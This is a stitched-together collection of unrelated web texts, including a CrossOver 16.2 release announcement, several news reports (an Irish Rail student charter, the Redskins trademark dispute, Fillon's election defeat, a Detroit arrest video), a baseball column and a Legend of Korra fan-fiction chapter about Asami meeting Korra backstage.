@[insert your congressional rep’s Twitter username] I stand for a free and open Internet. Tell the FCC to protect #NetNeutralityAnnouncing CrossOver 16.2.0Hello all,I am delighted to announce that CodeWeavers has just releasedCrossOver 16.2.0 for both macOS and Linux.CrossOver 16.2 has many improvements to our core Windows compatibilitylayer and also specific enhancements for several popular applications.CrossOver 16.2 is the first version of CrossOver which supportsMicrosoft Outlook 2013. We have also made improvements to ourcompatibility with the rest of the Microsoft Office 2013suite, including fixes for problems which caused some users to beunable to register.CrossOver 16.2 also has several improvements for Quicken users who hadseen problems with Quicken updates not applying cleanly.CrossOver 16.2 has a full merge of the final release of Wine 2.0.This final, stable release of Wine means widespread improvements incompatibility with Windows applications. It is the latest step in thecontinuous improvement of our core compatibility layer technology.CrossOver 16.2 also has bug fixes which improve behavior in the olderMicrosoft Office 2010 suite; improvements to games performance; andseveral fixes for macOS users in the areas of window managementperformance and clipboard support.Mac customers with active support entitlements will be upgraded toCrossOver 16.2 the next time they launch CrossOver. Linux users candownload the latest version from http://www.codeweavers.com/ If CrossOver asks for registration use your codeweavers.com emailaddress & password to register and unlock CrossOver. Email info@codeweavers.com if you need more help.Thank you all for your support, and we hope you enjoy CrossOver 16.2!-----------------------------CrossOver 16.2.0 - 2017/03/22* Application Support:* CrossOver now supports Outlook 2013.* Bugs with Quicken updates have been fixed.* Connection issues with Outlook 2010 have been fixed.* Bugs activating Office 2013 in some circumstances have been fixed.* Wine Update:* CrossOver 16.2.0 includes the final release of Wine 2.0.* Performance Enhancements and Other Improvements:* We have made improvements to our Performance Enhanced Graphics whichshould improve performance with a variety of games.* Windowing behavior on macOS will be faster and more reliable insome circumstances, including cases where productivity-style applicationsmake use of OpenGL.* Bugs with copy / paste have been fixed on macOS.Irish Rail was forced to take a train out of service for 24 hours after it was “wrecked” by some 300 DCU students on their way to an event in Galway.
Irish Rail was forced to take a train out of service for 24 hours after it was “wrecked” by some 300 DCU students on their way to an event in Galway.
Irish Rail forced to pull train from service after drunken students 'vomited throughout'
During an outing on Monday, hundreds of members from two societies at Dublin City University boarded a train specifically chartered for them heading to Galway City.
Those on-board were allowed to bring their own alcohol, and according to reports, there were only two security guards presence to deal with the mass of students.
“The train was left in a dreadful state,” said a spokesperson for Irish Rail.
“The train was not able to enter service on Tuesday as it had to be deep cleaned on Tuesday and overnight on Wednesday before going back into service.”
According to the rail service vomit and “other fluids” where discovered throughout the train.
The train needed to be taken out of service for 24 hours of "deep cleaning"
First reported in the College View, DCU’s student newspaper, the Engineering Society and Science & Health Society took 300 students from Dublin to Galway City on the train.
According to the newspaper, only two stalls were in working order during the journey, though a student on the train claimed “It was more like one.”
“We were locked in there with one toilet between 300 people,” said Josh, speaking to RTÉ’s Liveline.
“I don't know what they expected. There was no where for anyone to get sick.”
Some 300 students were on-board the journey to Galway City
Asked about the behaviour on-board the train, the student said that while everyone was “a little bit drunk” there was no one acting up or looking to cause trouble or damage to the train.
“It was carnage in Galway City but on the train, everyone was well behaved.”
Addressing the claims that there was not enough working stalls on the chartered journey, Irish Rail said when the train left Heuston Station in Dublin there “was 5 out of 6 toilets operational.”
“One toilet went out of service on the way to Galway so there were 4 operational toilets on the train.
“We regularly have student charters from Trinity and have never had a problem with the condition that the train was left in,” the rail service added.
Irish Rail told Independent.ie that they would be seeking payment for the cost of cleaning the train from DCU authorities.
"The University has been liaising with Irish Rail since Tuesday when it was made aware of an incident involving a Clubs & Societies event on an Irish Rail train earlier this week," a DCU spokesperson told Independent.ie.
"A small number of individuals behaved in an irresponsible manner which greatly inconvenienced Irish Rail as a result. The University strongly disapproves of such actions which reflect neither the ethos of the university nor the typical behaviour of our student body.
"We have been working closely with Irish Rail to get an assessment of any damage that may have been caused, the cost of which will be met by the Societies responsible for organising the trip."
Online EditorsThe Origin of Redskin
The controversy over the Washington Redskins trademark has attracted considerable attention, here and elsewhere. We have had quite a few previous posts about this. It began with a petition by seven American Indian activists led by Suzan Harjo in 1992 to the Trademark Trial and Appeal Board of the US Department of Commerce requesting cancellation of the trademark on the grounds that the word redskin
was and is a pejorative, derogatory, denigrating, offensive, scandalous, contemptuous, disreputable, disparaging and racist designation for a Native American person
In 1998 the Trademark Trial and Appeal Board decided in favor of the petitioners and cancelled the trademark. Pro Football, Inc. appealed to the United States District Court, which in 2003 overturned the decision of the Trademark Trial and Appeal Board and reinstated the trademark. It gave several grounds for its decision:
that there was an absence of evidence that the term redskin is disparaging in the particular context of the name of the sports team;
is disparaging in the particular context of the name of the sports team; that the TTB did not sufficiently articulate its inferences and explain how it decided between competing pieces of evidence. In particular, the District Court was critical of the fact that the TTB ruled on the basis "of the entirety of the evidence" but did not review that evidence in any detail and made few findings of fact;
that the petitioners' claim was barred by the doctrine of laches, which provides that a right or claim should not be enforced if the long delay in asserting it puts the respondent at an unreasonable disadvantage. In this case, the Court held that opposition to the mark should have been asserted when the mark was issued in 1967 or shortly thereafter and that the delay of twenty-five years was unreasonable.
The case was appealed to the Court of Appeal for the District of Columbia Circuit. In its 2005 decision, the Court of Appeal held that the doctrine of laches did not in principle bar the suit of one of the petitioners, Mateo Romero, the youngest, because he was only one year old in 1967 when the trademark was registered. (In US federal law, the clock for laches starts when the petitioner reaches the age of 18.) It therefore returned the case to the District Court for |
rights.”
The ruling Justice and Development Party (AKP) announced its election manifesto last month, titled the New Turkey Contract/2023, for the June 7 elections. The manifesto lists 100 goals of the ruling AKP, including the establishment of a new constitution and equal citizenship, but fails to mention protecting the rights of LGBT people in the country.
“There are so many problems in Turkey. All doors are closed for us here,” Sechil says. “We should be able to live freely and take our lovers to cafés and to live openly without being judged.”Last night, the Hamilton County Sheriff’s Office received information from the Red Bank Police Department that an unidentified threat had been made stating that a clown would shoot up either Red Bank Middle or Red Bank High School. Several students received messages on their cell phones via social media.
HCSO School Resource Officers, Patrol and Criminal Investigations personnel immediately began to assess the threat and found the threat to be unfounded. HCDE Personnel were also notified. Even with this threat, without credible evidence, normal school hours have been maintained.
Due to the recent national events, especially those regarding incidents with dangerous clowns, the HCSO will respond appropriately to anyone dressed as a clown and acting or purporting to act in a dangerous or threatening manner. Furthermore, the HCSO takes any and all threats seriously and will not only investigate any threat made, but will also prosecute to the fullest extent of the law any juvenile or adult threating the lives of children or caught trying to disrupt the daily activities of local businesses, schools, or public spaces. This also includes false reporting of incidents and sightings.
“Our nation is experiencing tremendous cause to be concerned over a variety of issues. With prior incidents involving clowns in other states, I want to make it very clear that we will not tolerate people in our community dressing up as clowns and threatening our children or their safety…” stated Hamilton County Sheriff Hammond. “I want to encourage parents to speak with their children and let them know that it is not a joke to threaten their classmates or their school and there are legal repercussions for those who do.”North Korea condemned South Korean President Park in newspaper Rodong Sinmun in late October. On Monday Pyongyang ran more photos of protests held on Saturday. File Photo screenshot of Rodong Sinmun
SEOUL, Nov. 7 (UPI) -- In a rare move for Pyongyang, North Korea state media is taking an unusual interest in the South Korean protests that have grown since President Park Geun-hye acknowledged her connections to a woman who may have had access to state secrets and faces allegations of corruption.
In Monday's issue of Workers' Party newspaper Rodong Sinmun, North Korea called for the overthrow of the "Park Geun-hye regime" and the removal of "corrupt power."
The article included color photographs of the candlelight vigils that were held in Seoul over the weekend, when tens of thousands of citizens poured into the streets, demanding the president's resignation, although similar protests against the state are outlawed in North Korea.
Pyongyang appears to be monitoring South Korean press reports.
The five-page piece in the North Korean newspaper reported protests were held in Seoul, as well as other major cities in the South: Gwangju, Gyeongju, Daejeon, Busan and on Jeju Island.
"About 200,000 people, men and women of all ages, crowded into Gwanghwamun Square of Seoul as well as around the Sejong Cultural Center, forming a mass formation, with their hearts burning with the single resolve to bring Park Geun-hye to justice," the article read.
North Korea has previously denigrated Park in statements using colorful language that refer to the South Korean leader's age and gender.
Pyongyang also referred to the police dispatched in Seoul as "fascist" and stated they formed a wall against the protesters.
On Monday, senior aides to Park were reportedly cooperating with Seoul prosecutors, including former senior secretary for policy coordination Ahn Jong-beom. Ahn may have been responsible for encouraging South Korea's large conglomerates to donate to two foundations operated by Choi Soon-sil, Park's longtime acquaintance.
The president is still experiencing low approval ratings. Yonhap reported on Monday a local poll shows her rating is now at 11.5 percent, which is higher than a Gallup Korea poll that showed her rating fell to 5 percent.
RELATED North Korea not prepared for rocket launch but nuclear site showing activity
Park has regained some approval among South Korean conservatives since her second apology on Friday.PARIS (AFP) — Former premier Francois Fillon was one of the early favourites to become president, but in the end he led the French right to a historic defeat, as a fake jobs scandal engulfed his campaign.
The former prime minister was charged in March with misuse of public funds over the employment of his British-born wife Penelope as a parliamentary assistant for 15 years.
It was a severe blow to the 63-year-old, who clinched the nomination for the Republicans party in November by presenting himself as unsullied by the scandals that surrounded his rival and former boss, ex-president Nicolas Sarkozy.
But his failure to win a place in the May 7 presidential run-off also marks the first time since 1958 that France’s main rightwing party has failed to make it to the second round.
In addition, it is the first time in modern French history that neither the mainstream left nor the right has been in the run-off, after outgoing President Francois Hollande’s Socialists collapsed in disarray.
– ‘Lamentable fiasco’ –
“It was said to be a fight which the right could not lose, and which has ended in a lamentable fiasco,” said Jean-Francois Cope, former head of the Union for a Popular Movement.
“The right has been swept away … The right has just experienced its April 21,” he said, referring to April 21, 2002, when Socialist candidate Lionel Jospin was knocked out in the first round by Jean-Marie Le Pen, whose daughter Marine will take on centrist Emmanuel Macron in two weeks’ time.
For Fillon, the devastating allegations that Penelope had earned 680,000 euros ($725,000) for a fictional role were first reported by Le Canard Enchaine newspaper in January.
His reaction was to strongly deny that either he or his wife had done anything wrong and to claim his left-wing rivals were operating a “secret cell” to blacken his name.
It was a response that drew scorn from Hollande and surprised even some of Fillon’s allies.
After backtracking on an early promise to withdraw his candidacy if he was charged, Fillon found himself in the unlikely position of running as an anti-establishment rebel determined to defy the government, magistrates and the media he said were working against him.
Subsequent revelations that a wealthy French-Lebanese lawyer bought handmade suits for Fillon worth 13,000 euros each drew further ire from his opponents.
In the end, he trailed in the first round of the election behind Macron and Le Pen, a result his campaign coordinator admitted was a “huge disappointment”.
A downcast Fillon himself admitted in his speech conceding defeat that the obstacles he had had to overcome were “too numerous, too cruel”.
– ‘Iron-fisted’ approach –
Fillon’s policy offer was based on deep cuts in public spending and slashing hundreds of thousands of jobs from France’s bloated civil service.
He also proposed attacking one of the sacred cows of the French left, the 35-hour working week, raising it to 39 hours.
A leaner, meaner France could, he argued, rival Germany as the foremost economy in the eurozone within a decade.
In TV debates, Fillon stressed that of all the candidates, only he had experience of running the country.
In the wake of the killing of a policeman on Paris’s Champs Elysees avenue on Thursday, he said that for years, “I have been warning that we are facing an Islamic totalitarianism” and promised an “iron-fisted” approach.
His outspokenness stood in contrast to his image as prime minister, of a quiet and urbane man whose steady temperament contrasted with the impulsive Sarkozy who once dismissed him as “Mr Nobody”.
Once the youngest member of parliament at age 27, the devoutly Catholic Fillon voted against gay marriage when it was legalised in 2013.
The self-declared “Gaullist” — a form of nationalism that proposes an independent and strong France — also has a close bond with Russian President Vladimir Putin.
The two men overlapped as prime ministers from 2008-2012 and their closeness led to questions about Fillon’s foreign policy.
– Country manor –
Fillon and his Welsh wife met at university in France when they were in their early twenties.
They soon married and live in an imposing manor house near Le Mans in northern France where they brought up their five children.
Two of their children have also had paid work for their father in parliament, performing roles as “legal advisors” despite not being qualified lawyers at the time.
Penelope was until recently a low-key political wife, a keen horse-rider who once described herself as a country “peasant” who preferred the countryside to Paris.
In examining Fillon’s insistence that his wife has “always” worked to help his career, French media homed in on previous comments she made.
“Until now, I have never got involved in my husband’s political life,” Penelope told regional newspaper Le Bien Public last year.
For Fillon’s party, the immediate prospects are bleak. The defeated candidate called within minutes for his supporters to back Macron in the second round.
Bernard Accoyer, secretary general of The Republicans, called a meeting of its political committee for Monday morning to discuss the defeat.The Philadelphia Phillies, Baseball’s Biggest Surprise
Written by Jim Clarke, May 26, 2016, at 6:49 a.m.
[Stats are accurate as of May 25, 2016, from ESPN.com]
Everybody and their mother considered the Philadelphia Phillies to be the best candidate to finish in last place entering the 2016 season. After finishing with 99 losses last year and selling off most of their assets in favor of rebuilding, the Phillies were expected to perform even worse than they did last year. Betting lines in Las Vegas opened with the Phillies as the far-and-away longshot at 300-1 odds of winning the World Series.
The Phillies have gotten rid of many of the faces of their franchise over the last few years, like Jimmy Rollins, Chase Utley, and Cole Hamels. So it is no surprise that the team has been struggling as of late.
The 2016 Phillies are a different team though. This is a team that on paper has no business competing, yet currently sees themselves sitting at fifth in the National League. How did they do it? How is the second youngest team in the Major Leagues, that was predicted to finish with more than 100 losses, currently on pace to finish fairly well above.500?
The answer is pitching.
The Phillies have made great strides in keeping opposing hitters at bay. Aaron Nola has been playing like a man possessed, currently ranked fourth in the MLB in Walks/Hits per Inning Pitched (0.94) and ninth in Strikeouts (70). The team as a whole is ranked fourth in Strikeouts (401) and fourth in Earned Run Average (3.70) across the major leagues, a vast improvement from their 4.69 ERA that had them ranked at 29th last year.
The relievers have been no slouches this year either. Thanks to the bullpen holding onto late leads, the Phillies have 14 one-run wins, only two fewer than they had all of last season. The team has 18 saves and their closer Jeanmar Gomez currently leads Major League Baseball with 17 saves. Last year their bullpen was only able to accrue 35 saves all last year, and we’re only 46 games into the 2016 season.
Unfortunately, the other side of the coin is not so pretty. The Phillies offense still leaves a lot to be desired. They are ranked 29th in Runs Scored (147) as well as Runs Batted In (137). They’re ranked 26th in Hits (350) and 28th in On Base Percentage (.291). This is an offense that is struggling greatly and not providing nearly enough support for their pitching staff. If the Phillies want to be considered a realistic contender, they will need to improve their hitting drastically.
All things considered, the 2016 Philadelphia Phillies have been nothing short of impressive. This team has blown expectations out of the water and shown that they are much closer to returning to the playoffs than anyone thought. Maybe not this year, or the next, but it is clear that this Phillies team has a lot of potential, and with a few tweaks will bring an NL East pennant back to Philadelphia soon enough. If this team can stay healthy, I think they will finish above.500 with a couple games in hand in September.DETROIT - The video shows one officer delivering six punches while he's on top of the man and the second officer coming in with two kicks to the man's legs.
While celebrating their arrest, the officers continue to curse at the man. The larger officer kneeled on the man's back as he was face-down in the snow. The officer was enraged that the suspect moaned, "Jesus."
"You're calling Jesus? Don't you dare! Don't you (expletive) dare!" the officer can be heard saying.
The woman recording the arrest from inside her home believed she was watching police beat a man who was already in handcuffs and offering no resistance.
"This man is handcuffed and police is beating him while his hands is cuffed behind him," she says while recording the video.
The officers punched and kicked the man while attempting to handcuff him. One officer took a swipe after the cuffs were on. The other kneeled on the handcuffed man. It took the officers several more minutes to realize they left the man on the ground with a gun in his pants.
One of the officers is with Grosse Pointe Park police and the other is with Highland Park police. Both are part of a stolen car task force.
Grosse Pointe Park's chief said the suspect is an admitted carjacker who threatened to shoot a woman and her child while stealing their car. The task force was tracking the car, and the armed suspect running from police and resisting arrest resulted in this rough takedown.
In a statement, Grosse Pointe Park's chief calls the officers' actions "proper."
"Fearing for their safety and those in the immediate area, an officer delivered a kick to the thigh area of the subject, thus allowing the other officers the ability to arrest the subject. Located in his waistband was a loaded semi-automatic handgun." -- Chief David Hiller, Grosse Pointe Park police.
Read the full joint police statement here.
However, Detroit police have launched an investigation. The Detroit Police Department wants to know if any of their officers saw the Grosse Pointe Park and Highland Park officers doing anything improper.
"They will open an investigation and if any Detroit police officer witnessed, we expect full cooperation," said Detroit Police Chief James Craig.
Craig said the joint statement on the video released by police Tuesday should not have included his name under it.
"That statement was released over the names of the police chiefs of Detroit, Grosse Pointe Park, Harper Woods and Highland Park. I did not see the statement prior to its release," said Craig in separate statement released Tuesday evening. "There were no DPD officers at the scene at the time of the arrest and I did not intend to express any opinion on the actions of the officers involved."
The 51-year-old man arrested is expected to be in court Wednesday.
The Detroit mayor's office released this statement:
"After watching the video of the incident involving a suspect and officers from the ACTION Task Force, Detroit Mayor Mike Duggan reached out to Wayne County Prosecutor Kym Worthy. Prosecutor Worthy has asked that the matter be handled by an independent investigation by the Michigan State Police. The prosecutor has indicated that she will be actively monitoring the investigation. The Detroit Police Department will cooperate fully with the Michigan State Police investigation."
Watch: Former Detroit police chief Godbee weighs in on controversial arrest video
Copyright 2015 by ClickOnDetroit.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Ethnicity On the rise Below are the ethnic groups whose populations have grown most in your area between 2001 and 2011. Overall growth is expressed as a percentage change. The figures under the circles to the right indicate the number of people in these groups in each of the two years. People 2011 2001 % % % Falling Below are the ethnic groups whose populations have declined most in your area between 2001 and 2011. Overall decline is expressed as a percentage change. The figures under the circles to the right indicate the number of people in these groups in each of the two years. People 2011 2001 % % % National Across England and Wales as a whole, those identifying themselves as 'white British' fell by 7 percentage points to 80% in the 2011 census, while in London the figure was 45%. The largest of the other ethnic groups were Asian (6.8%), black (3.4%), and Chinese (0.7%). Just over 2% of people identified as mixed race - up from 1.27% in 2001.
Religion On the rise Below are the religious groups whose populations have grown most in your area between 2001 and 2011 based on answers to the voluntary question: 'What is your religion?' Overall growth is expressed as a percentage change. The figures under the circles to the right indicate the number of people in these populations in each of the two years. People 2011 2001 % % % Falling Below are the religious groups whose populations have declined most in your area between 2001 and 2011 based on answers to the voluntary question: 'What is your religion?' Overall growth is expressed as a percentage change. The figures under the circles to the right indicate the number of people in these populations in each of the two years. People 2011 2001 % % % National One of the most striking things to emerge from this census was the decline in the number of people identifying as Christian across England and Wales, which was down 13 percentage points to 59%. The number saying they had 'no religion' rose 10 points to 25%, while the Muslim population rose from 3% to 5%. The Church of England's response to the decline in the number of Christians was that England "remained a faithful nation".
Industry (men) The top three Below are the top industries employing males in the 2001 and 2011 census. We're not able to show change for an individual industry because the classifications have changed dramatically in between years. The figures indicate the number of men employed in these industries in each of the two years. 2001 2011 National Across the country as a whole, the wholesale and retail trade was the largest employer of all people aged 16 to 74, accounting for 16% (4.2 million) of employed people. This was followed by health and social work (3.3 million), education (2.6 million), and manufacturing (2.4 million).
Industry (women) The top three Below are the top industries employing females in the 2001 and 2011 census. We're not able to show change for an individual industry because the classifications have changed dramatically in between years. The figures indicate the number of men employed in these industries in each of the two years. 2001 2011 National Across the country as a whole, the wholesale and retail trade was the largest employer of all people aged 16 to 74, accounting for 16% (4.2 million) of employed people. This was followed by health and social work (3.3 million), education (2.6 million), and manufacturing (2.4 million).Chapter Text
This was a mistake.
Asami looked around the crowded venue. The place was packed with young people in various states of inebriation. The opening band had finished playing thirty minutes earlier, and everyone was anxious for the headliner to take the stage. A particularly loud group pushed past her to get closer to the stage, spilling a good amount of cheap beer on her arm in the process. She shot them a dirty look as they passed, which went unnoticed, and tried to wipe her jacket clean.
This wasn’t Asami’s usual scene. Well, if she was being honest, she didn’t have much of a scene. As a concert violinist and Vice President of Development for the Sato Corporation, she didn’t have much free time for socializing. Between rehearsals, meetings, and practice, she was lucky to get any time to herself. I should have just told Mako I was busy. He would have understood.
When Mako had called to invite her to the show, Asami had been hesitant. She and Mako had dated for a while, but it hadn’t worked out between them romantically. They were still good friends though, and met every now and then for drinks or something similarly casual, and over time she had become friends with his younger brother Bolin as well. The brothers had formed The Fire Ferrets two years ago, with Mako on the bass and Bolin playing drums. They had gone through a string of lead singers almost as long as Tahno of the WolfBats’ (rival band of The Fire Ferrets) list of past girlfriends. As a musician, Asami thought that their band had potential, but the revolving door of lead singers, none of which were especially good, had always held them back.
“Asami, our new lead singer is the one, I swear,” Mako had said. “She’s by far the best singer we’ve ever had. And she shreds on the guitar, too! You have to come check her out. I’ll get you on the guest list.”
Asami had tried to think of a reason not to go, but ultimately she couldn’t come up with one. She’d decided that a night out might be good for her, give her a chance to clear her head and let off some steam before her big performance in a few weeks. She could only practice that crazy complicated 32nd note passage of her piece so many times before her fingers and brain turned to mush.
But now that she was here, all she felt was alone, sweaty, and uncomfortable.
Maybe I should get a drink, too. I wonder if they have any decent Pinot Noir. She looked at the sticky floor, peeling paint on the walls, and plastic beer bottles in most of the concertgoer’s hands. Doubtful.
Just as Asami turned to head towards the bar, the stage lights came on. The crowd cheered as Mako and Bolin took the stage. Mako picked up his bass and fiddled with the tuning pegs, checking that it was tuned to his liking, while Bolin gave his cymbals a few light hits and tested his bass drum with a couple of kicks.
Then, she walked out on stage.
Effortlessly cool in a way that Asami never could be, the new lead singer took her place at the front of the stage. Her tan skin practically glowed under the strong stage lights as she checked out her pedals and slid the strap of her Gibson Les Paul over her muscular shoulder, obviously toned from years of supporting a heavy guitar. She looked vaguely exotic, and Asami wondered if she was native to Republic City like she and the boys or if she hailed from elsewhere.
Once she was satisfied with her set-up, the girl looked over her shoulder to her band mates. They each gave her a smile and a thumbs-up, and she turned back around to face the audience. The crowd had fallen quiet in anticipation, and Asami realized she was holding her breath. The lead singer’s charisma and stage presence were readily apparent without her even singing a note. It was as if she had a cast a spell over the room.
The girl walked up to the mic stand and looked out over the sea of people. Her face broke out into a cocky, lop-sided grin. She took a deep breath and yelled into the mic-
“ONE, TWO, THREE, FOUR!”
The spell was broken. But only to be replaced by a stronger spell, that of the girl’s powerful voice mixing with the driving drum beat, the steady rhythmic bass, and her own melodic guitar playing. She sang with passion and joy, and her spirit was infectious. The roar of the crowd cheering and dancing along to the song was deafening. It was like she was bending the energy of the crowd to her will, and their enthusiasm only encouraged the band to play harder.
Asami felt herself entranced by the perfect union of the three musicians on stage. Mako was right- the new girl was far and away the best front-woman they had ever had, and she fit so well with the two guys that Asami could barely recall what the band had sounded like without her. They played together like they had been playing together for years, instead of the few short weeks that Asami knew it had been. Even Mako and Bolin sounded better than Asami remembered. The three Fire Ferrets were, well, on fire.
Asami quickly forgot her earlier trepidation and jumped along with the crowd, letting the power of the music take over. I’m actually having…fun. Been a long time since I could say that. The pulsing music was electric in her veins.
She swayed in rhythm with her neighbors during the slower songs, even holding up her phone as a “lighter” while enjoying the lead singer’s voice, which was suited just as well to energetic rock anthems as to heartfelt ballads.
When the band finished its last song, Asami cheered and clapped enthusiastically with everyone else, screaming “Encore!” and “One more song!” After a few moments of that, the band reappeared to give the crowd what they wanted.
Their encore song was the best one yet, complete with an epic drum solo by Bolin, a deep bass groove by Mako, and a killer guitar solo by the at-this-point sweaty and smiling new girl. Asami watched her fingers positively fly up and down the frets as she bit her lip in concentration, nodding her head with the beat, ponytails swinging back and forth. She’d probably make a pretty good violinist.
Eventually the lead singer struck the song’s final powerful chord. All three band members were breathing heavily and grinning from ear to ear, still riding the performance high. With a big wave, the girl shouted into the microphone-
“Thank you Republic City! We’re The Fire Ferrets, good night!”
At that, she chucked her guitar pick into the crowd. Asami saw it coming towards her in what felt like slow motion. She reached her hand out and it landed right in her palm. She could still feel the warmth of the other girl’s hand through the flimsy plastic, and it felt like Asami was holding a piece of her. She closed her fist around it as the girl, Mako, and Bolin walked off stage.
The house lights came up, the universal sign that the show was really over and it was really time for everyone to get the hell out. But Asami stood in place while the exhausted crowd starting filing out around her. Why does it feel like I’ve caught the bouquet at a wedding?
When she finally looked up from her daze, the place had largely emptied out. I’m the only weirdo who would stick around after the show’s ended. She carefully pocketed the pick and walked over to the door that led backstage.
I should probably say hi to Mako and Bolin and congratulate them. The thought that she might run into the lead singer backstage may have crossed her mind, too.
She gave her name to the scarily large bouncer guarding the stage door, who cross referenced it with the VIP guest list and let her pass. She wandered aimlessly through the narrow halls filled with electronic equipment, amps, cables, lights, and other performance-related things. I wonder what room they’re in.
She continued walking through the maze-like area, glancing right and left for any sign of her ex and his brother, until she rounded a corner and abruptly bumped into a firm, warm back.
“Oh, I’m sorry, I…”
The words dried up in her throat as the person she had run into turned around. It’s her.
It was the newest member of The Fire Ferrets. She had a white towel slung around her neck and a cold beer in her hand. Up close, Asami could see that she had intensely blue eyes and more muscles rippling under her light brown skin than were obvious from afar. Her cheeks were flushed, probably from a combination of post-performance glow and the beer she was drinking. She’s a bit shorter in person.
The girl waved her apology off, not noticing how Asami was standing there gaping like an idiot.
“Oh, don’t worry about it,” she said. “Are you lost? It can get pretty confusing back here.”
Then that cocky look Asami had seen at the beginning of the show came over her face. “Or were you looking for an autograph from the amazing Korra of The Fire Ferrets?” she said cheekily, hand on her hip.
Wow, talk about confident. Asami felt herself blush slightly. Korra. Definitely not a Republic City name. She collected herself and shook her head.
“Ah, no, actually I’m…”
“Asami!”
Mako cut her off, emerging from a door a few yards down the hall.
“I thought I heard your voice. I’m so happy you came!”
He walked over to her and gave her a quick hug. He smelled like beer, sweat, and adrenaline.
“Of course,” she said with a smile. “Seriously, you guys were great.”
Korra looked at Mako, then at Asami, then back to Mako. She had a befuddled look that Asami couldn’t help thinking was kind of cute. Korra pointed to the two of them simultaneously.
“Wait…Asami? As in, the Asami? The girl you were telling me about? The one who got aw…”
Suddenly Mako clamped a hand over Korra’s mouth, cutting off the end of her sentence and causing her to writhe about and shout muffled complaints into his palm. Asami stood there feeling both embarrassed and awkward. The Asami? I have a “the?”
With a yelp Mako pulled his hand away from Korra.
“Hey! You bit me!”
Korra stuck out her tongue at him and made a comically disgusted face, then took a big swig of her beer.
“Serves you right! Your gross hand tastes like expired seaweed noodles!”
“Did I hear someone say seaweed noodles?”
Bolin popped his head out of the same room Mako had come from.
“I’m starving! Oh, hey Asami!” He said with a beaming grin after seeing her standing there. “What’s everyone doing in the hallway?”
“I was just introducing Korra and Asami,” said Mako.
“Isn’t she great?” Bolin said dreamily while looking at Korra with some serious puppy dog eyes. Asami had a feeling he was referring to more than her musical talents. “With her as our front woman, The Fire Ferrets are gonna go straight to the top, baby!”
This statement might have felt a bit more powerful if Bolin hadn’t said it about every single lead singer to join the band. Usually Asami found Bolin’s constant optimism a little bit tiring, but in this instance he was actually right. With Korra at the helm, Asami could truly see The Fire Ferrets blowing up big time.
She smiled in spite of herself. She had forgotten how nice it was to hang out with Mako and his goofy brother, and Korra seemed to fit right into their family dynamic. Asami felt a bit sad that she had been so neglectful of her friends these past few months. That’s going to change, starting now.
Korra gave Bolin a thumbs up, and then extended her hand to Asami.
“Well anyway, it’s nice to officially meet you, Asami!” she said.
Asami gently took her hand to shake it. It was warm, calloused, and slightly moist. Her grip was strong, as to be expected of a guitar player.
“Likewise, Korra.”
Asami held Korra’s hand for a few seconds longer than strictly necessary for a friendly handshake, but Korra didn’t seem to mind. They let go at the same time and Bolin sidled up to them with an expectant expression on his face.
“Soooooo…about those seaweed noodles? My stomach is practically crying ‘feed me, Bolin! It’s so sad and empty in here.’”
Mako rolled his eyes at his brother, but then a loud grumble filled the air. Asami and Mako turned to look at Bo, but Korra was the one who spoke.
“Uh yeah, so that was me,” she said laughing. “I guess I’m pretty hungry too. What do you say guys, want to hit up Narook’s for a late dinner?”
Bolin’s face lit up. “Yes, please!”
Mako shrugged and said, “Fine with me,” in that infernal I’m-too-cool-to-care way that Asami had hated when they were dating. She knew it was all an act, anyway.
Korra turned to Asami. “What about you? Want to join us?”
Despite her joy at the invitation, Asami couldn’t deny how extremely exhausted she was. It wasn’t every day that she danced and jumped around for a good two hours, and her sore feet and legs were a testament to that. Plus, it was almost midnight. She was usually asleep by eleven, and she had a full day of rehearsal and meetings tomorrow.
“Thanks Korra, I’d really like to go, but I’m dead tired,” she said with a sigh. “I just saw a totally amazing rock concert, after all. Kind of wore me out,” she said, winking.
Did I just wink? Who are you and what have you done with Asami?
It might have been her imagination, but she thought she saw Korra’s cheeks get slightly redder. “Well, uh, next time then maybe,” she muttered.
Damn, she’s cute when she’s flustered.
Asami turned to Mako and Bolin. “Yes, next time absolutely.” She walked over and gave Bolin and Mako each a friendly hug in turn. “You guys rocked tonight. Thanks again for inviting me.”
Mako looked her in the eye and said, “Anytime.”
Bolin clapped a hand on her shoulder. “Hey, don’t be such a stranger, okay? We know you’re busy, but we’re your friends!”
Asami felt another pang of regret at how anti-social she had become lately. She gave Bolin a serious look. “I promise.”
With that, she started to head back down the labyrinthine backstage halls.
“See you around, Asami!” Korra yelled to Asami’s retreating back. Asami faltered a bit in her step. She turned back over her shoulder and gave the other girl a good-bye wave, then kept walking.
Once she knew she was out of earshot, Asami put her hand in her pocket and closed her hand around the pick.
“See you around, Korra.”CHICAGO — Chicago police conducted a series of raids targeting South Side gang activity.
The raids were ordered by Interim Chicago Police Supt. Eddie Johnson.
The 64 arrests included 50 for felony narcotics charges, and three people who were charged with unlawful use of weapon by a felon, according to a statement from Chicago police. Fourteen were for misdemeanors, and four additional people were arrested for prostitution.
Four guns were recovered, and 35 arrests warrants were executed.
The “targeted mission” to combat crime and violence occurred all day Thursday and concluded in the early morning hours of Friday. Police could only say they happened in the Englewood, Deering and Chicago Lawn police districts.
“The Chicago Police Department will continue to implement practices and missions aimed at reducing the crime and violence in our communities,’’ Johnson said in the statement. “Enforcement missions, such as this one, will be part of an ongoing initiate to help further reduce the ability of gangs to inflict harm in Chicago’s neighborhoods.”Eden Hazard may stay in Ligue 1 © PA Photos Enlarge
Eden Hazard has admitted his interest in making a move to big spenders Paris St Germain.
The Lille forward is coveted around Europe with Real Madrid, Chelsea and most recently Arsenal linked with his no-doubt expensive signature.
Despite that raft of continental suitors, the Belgium international has signalled his comfort with a move within Ligue 1. PSG's Qatari petro-dollars and the arrival of Carlo Ancelotti, one of the most decorated coaches in the game, has piqued Hazard's interest.
"Of course PSG is a great club and a personality like Ancelotti, he makes you want to play there. We will see about it later," Hazard is quoted on insidefutbol.com.
"In the next two or three years they will be very solid a very tough team as the players play together for a long time. This is only the start of a new era for PSG."
© ESPN Sports Media Ltd.Big beers are a big deal, and Town Hall Brewery’s Barrel Aged Week is one of the longest running big beer traditions in the metro. Since it first ran in 2001 as part of their Anniversary Week events, the West Bank brewpub has grown from one location to three, expanding their brewhouse into the sublevels of their current building at the corner of Washington and 15th Ave S. As grows the brewery, so grow the barreled beers.
Earlier this winter Town Hall announced plans to extend their barrel program into the year round schedule, with their Barrel Reserve series serving up some of the favorites across all 12 months instead of that one special week. The change simply means more barrel aged beer, not that Barrel Aged Week will go away.
